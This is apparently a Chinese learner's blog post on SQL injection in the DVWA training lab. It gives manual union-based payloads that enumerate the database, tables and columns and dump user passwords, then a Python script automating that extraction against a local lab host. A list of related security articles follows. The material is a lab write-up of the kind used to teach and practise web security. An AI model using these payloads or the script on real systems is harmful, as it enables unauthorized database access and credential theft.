DVWA SQL-injection 附python脚本
SQL-Injection
low等级
首先我们将dvwa等级调到low 如图

接下来选择SQL Injection,并在提交框中输入正常值1,查看返回结果

接下来检测是否存在注入,分别输入 1' and 1=1 1' and 1=2 当我们输入1' and 1=1时,发现报错页面,提示我们语句没有闭合,所以我们输入1' and '1'='1和 1' and '1'='2



得到如上回显信息说明存在注入漏洞,简单说一下原因,当输入and '1'='1时,数据库查询语句为 select * from users where user_id= '1' and '1'='1' 因为and 1=1永真所以数据库返回信息, 而 1=2为假所以不返回任何信息 得到以上信息说明我们成功将代码插入到数据库中了 也意味着此处存在sql注入
接下来就是去猜解数据库的信息过程如下
#猜解字段数
1' order by 1#
1' order by 2#
1' order by 3# 报错,说明字段数为2 // 如果字段数较多的话,我们可以采用二分法!
#查询当前数据库
1' union select 1,database() -- //**注意,注释符为“--” 最后是是有空格的
#查询表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --
#查询users表的字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --
#获取字段内容
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users --





剩下的Medium 和High 等级的引用FB中的文章了,不写了
下面附上我用python写的exp(菜比练手的时候写的,代码很烂凑合着看...) ,代码有几处自动化的功能不够完善,作为新手水平有限,留待以后完善吧
# -*- coding: utf-8 -*
import requests
import re url = "http://192.168.86.129/dvwa/vulnerabilities/sqli/?id=1"
payload1 = '''1%27+order+by+{n}+%23&Submit=Submit#'''
headers = { 'Accept':'text/html,application/xhtml+xm…plication/xml;q=0.9,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection':'keep-alive',
'Cookie':'security=low; PHPSESSID=gg01k6oo6q3fhq5fl5k2lkear2',
'Host':'192.168.86.129',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0' }
for i in range(1,10):
ss = payload1.format(n=i)
zz = requests.get(url+ss,headers=headers)
if not 'Unknown' in zz.content:
print 'fuck!'
else:
print 'ok:',i-1
break
print '#'*10,u'字段数为:',i-1,'#'*10
print u'数据库查询↓' payload2 = '''1'+union+select+{poc}+%23&Submit=Submit#'''
kk = payload2.format(poc='1%2Cdatabase()')
hh = requests.get(url+kk,headers=headers) if 'Surname' in hh.content:
database = re.findall('Surname:(.*?)</pre>',hh.text)
print 'surprise!'
print u'当前数据库为:',database payload3 = '''1%27+union+select+1%2Cgroup_concat%28table_name%29+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+%23&Submit=Submit#'''
aa = requests.get(url+payload3,headers=headers)
if 'users' in aa.content:
bb = re.findall('Surname:(.*?)</pre>',aa.text)
print u'tables:',bb
print "#"*10,u'爆破字段ing......',"#"*10 payload4 = '''1'+union+select+1%2Cgroup_concat(column_name)+from+information_schema.columns+where+table_name%3D'users'+%23&Submit=Submit#'''
dd = requests.get(url+payload4,headers=headers)
if 'username' in dd.content:
ee = re.findall('Surname:(.*?)</pre>',dd.text)
print u'columns:',ee payload5 = '''1'+or+1%3D1+union+select+group_concat(user_id%2Cfirst_name%2Clast_name)%2Cgroup_concat(password)+from+users+%23&Submit=Submit#'''
pp = requests.get(url+payload5,headers=headers)
oo = re.findall('Surname:(.*?)</pre>',pp.text)
print oo
print '#'*15,'[+]---end---[+]','#'*15
效果图

以此来记录自己学习的成果,以及成长的过程,共勉.
DVWA SQL-injection 附python脚本的更多相关文章
- sqlmap dvwa SQL Injection使用小记
刚刚开始学习sql injection,初步使用sqlmap,使用 GET http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submi ...
- DVWA SQL Injection 通关教程
SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...
- DVWA SQL Injection(Blind) 通关教程
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是 ...
- 使用NuGet打包并发布至ProGet过程 (步骤详细,附python脚本)【上篇】
一.基本知识 (1)NuGet : NuGet是一个为大家所熟知的Visual Studio扩展,通过这个扩展,开发人员可以非常方便地在Visual Studio中安装或更新项目中所需要的第三方组件, ...
- Discuz!X 3.4 任意文件删除漏洞复现过程(附python脚本)
今天看下群里在讨论Discuz!X 3.4 任意文件删除漏洞,自己做了一些测试,记录一下过程.结尾附上自己编写的python脚本,自动化实现任意文件删除. 具体漏洞,请查看 https://paper ...
- 【NuGet】使用NuGet打包并发布至ProGet过程 (步骤详细,附python脚本)【上篇】
一.基本知识 (1)NuGet : NuGet是一个为大家所熟知的Visual Studio扩展,通过这个扩展,开发人员可以非常方便地在Visual Studio中安装或更新项目中所需要的第三方组件, ...
- Linux Shell输出颜色字符学习笔记(附Python脚本实现自动化定制生成)
齿轮发出咔嚓一声,向前进了一格.而一旦向前迈进,齿轮就不能倒退了.这就是世界的规则. 0x01背景 造了个轮子:御剑师傅的ipintervalmerge的Python版本.觉得打印的提示信息如果是普通 ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
- 栅格数据的批量镶嵌(附Python脚本)
栅格数据的批量镶嵌(附Python脚本) 博客小序:在数据处理的过程中,会遇到需要大量镶嵌的情况,当数据较多时手动镶嵌较为麻烦,自己最近对分省的DEM数据进行镶嵌,由于利用python进行镶嵌较为方便 ...
随机推荐
- Kafka Producer源码解析一:整体架构
一.Producer整体架构 Kafka Producer端的架构整体也是一个生产者-消费者模式 Producer线程调用send时,只是将数据序列化后放入对应TopicPartition的Deque ...
- 第六篇scrum冲刺
一. 站立式会议 1.会议照片 2. 项目进展 团队成员 昨日完成任务 今日计划任务 吴茂平 新消息提醒功能设计 实现开发新消息提醒功能 陈忠明 歌曲批量下载压缩包 歌手收藏功能 吴尚谦 设计下载 ...
- (新手向)N皇后问题详解(DFS算法)
非常经典的一道题: N皇后问题: 国际象棋中皇后的势力范围覆盖其所在的行.列以及两条对角线,现在考察如下问题:如何在n x n的棋盘上放置n个皇后,使得她们彼此互不攻击 . 免去麻烦我们这里假定n不是 ...
- 你竟然不知道Java中可以用 :: 吗?
简介 Java8中方法引用分为三种,方法引用通过一对双冒号:: 来表示,方法引用是一种函数式接口的另一种书写方式 静态方法引用,通过类名::静态方法名, 如 Integer::parseInt 实例方 ...
- [Window编程][VC6.0++][error LNK2001: unresolved external symbol __imp__PlaySoundA@12]
错误情况 这几天看<Windows游戏编程大师技巧>,在看第三章的时候,把书上的例子敲了一边,但是出现了下述错误,最后在网上找到了解决方法. 错误截图 解决方法 在main.cpp头文件下 ...
- ASP.NET Core3.1使用IdentityServer4中间件系列随笔(三):创建使用[ClientCredentials客户端凭证]授权模式的客户端
配套源码:https://gitee.com/jardeng/IdentitySolution 上一篇<ASP.NET Core3.1使用IdentityServer4中间件系列随笔(二):创建 ...
- 认证授权:学习OIDC
前言 上一篇文章介绍了OAuth2.0协议的相关内容,知道OAuth2.0是一个授权协议,无法提供完善的身份认证功能.那么什么来解决身份认证功能呢?——OIDC是一个不错的解决方案.接下来进一步来了解 ...
- 【Go语言入门系列】(七)如何使用Go的方法?
[Go语言入门系列]前面的文章: [Go语言入门系列](四)之map的使用 [Go语言入门系列](五)之指针和结构体的使用 [Go语言入门系列](六)之再探函数 本文介绍Go语言的方法的使用. 1. ...
- windows设置定时执行脚本
如果你写了一些Python程序,想要在特定的时间进行执行,例如你想让一段爬虫程序在每天的上午10点执行一次,那么我们就可以来使用windows自带的定时任务进行设置.由于Windows系统,无法使用L ...
- Unity动画优化
Unity动画优化 https://blog.csdn.net/TracyZly/article/details/79991593 Unity中Animator做UI动画的一些细节 https://b ...